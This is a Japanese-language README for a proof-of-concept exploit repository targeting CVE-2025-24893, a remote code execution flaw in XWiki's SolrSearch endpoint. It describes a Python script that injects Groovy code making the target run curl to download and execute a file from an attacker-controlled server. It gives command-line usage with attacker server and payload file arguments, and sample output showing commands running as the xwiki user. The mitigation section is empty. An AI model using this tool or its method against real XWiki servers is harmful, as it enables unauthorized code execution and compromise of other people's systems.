
CVE-2025-24893 の PoC
このリポジトリには、CVE-2025-24893 として特定された XWiki Remote Code Execution (RCE) 脆弱性の概念実証 (PoC) エクスプロイトが含まれています。この脆弱性により、攻撃者は SolrSearch エンドポイントへの巧妙に細工されたリクエストを利用して、対象の XWiki インスタンス上で任意のコードを実行できます。このスクリプトは HTTP と HTTPS の両ターゲットをサポートします。
⚠️ 免責事項: この PoC は教育および研究目的のみを意図しています。明示的な許可なくシステムに対してこのコードを不正に使用することは違法であり、非倫理的です。システムをテストする前に、必ず適切な許可を取得してください。
この脆弱性は、SolrSearch エンドポイントでのユーザー入力の不適切な処理に起因し、巧妙に細工されたペイロードを介して Groovy コードの注入を可能にします。この PoC は、攻撃者がこれを悪用して対象サーバー上で任意のコマンドを実行する方法を示しています。
requests、argparse、urllib.parse、re、htmlgit clone https://github.com/570RMBR3AK3R/xwiki-cve-2025-24893-poc.git
pip install requests
スクリプトは、ターゲット XWiki インスタンスに巧妙に細工された HTTP/HTTPS リクエストを送信し、攻撃者が制御するサーバーからファイルを取得して実行する curl コマンドを実行する Groovy ペイロードを注入します。
次のコマンドでスクリプトを実行します:
python3 exploit.py --url <target_url> --server <attacker_server> --file <malicious_file> [--no-verify]
--url: ターゲット XWiki インスタンスのベース URL (例: http://target または https://target)。--server: 攻撃者のサーバーの IP またはホスト名 (必要に応じてポートを含む) (例: 192.168.1.100:8080)。HTTP と HTTPS の両方をサポートします。--file: 実行するコードを含む、攻撃者のサーバー上のファイル名 (例: exploit.sh)。--no-verify: HTTPS ターゲットの SSL 検証を無効にするオプションのフラグ (注意して使用し、テスト目的のみ)。python3 exploit.py --url http(s)://vulnerable-xwiki.com --server http(s)://192.168.1.100:8080 --file exploit.sh
SSL 検証をバイパスするには (例: 自己署名証明書の場合):
python3 exploit.py --url https://vulnerable-xwiki.com --server http(s)://192.168.1.100:8080 --file exploit.sh --no-verify
これにより、次の処理が行われます:
curl コマンドを実行するペイロードを構築します。http(s)://192.168.1.100:8080) から指定されたファイル (exploit.sh) を取得します。スクリプトはターゲットからのレスポンスを抽出し、HTML タグ (例: <br/>、<del>) を除去し、HTML エンティティを読みやすいプレーンテキストに変換します。クリーン化された出力がコンソールに表示されます。
python3 exploit.py --url http://<redacted> --server http://<redacted>:8080 --file exploit.sh
uid=997(xwiki) gid=997(xwiki) groups=997(xwiki)
この脆弱性から保護するには:
このプロジェクトは MIT ライセンスの下で提供されています。詳細については LICENSE ファイルを参照してください。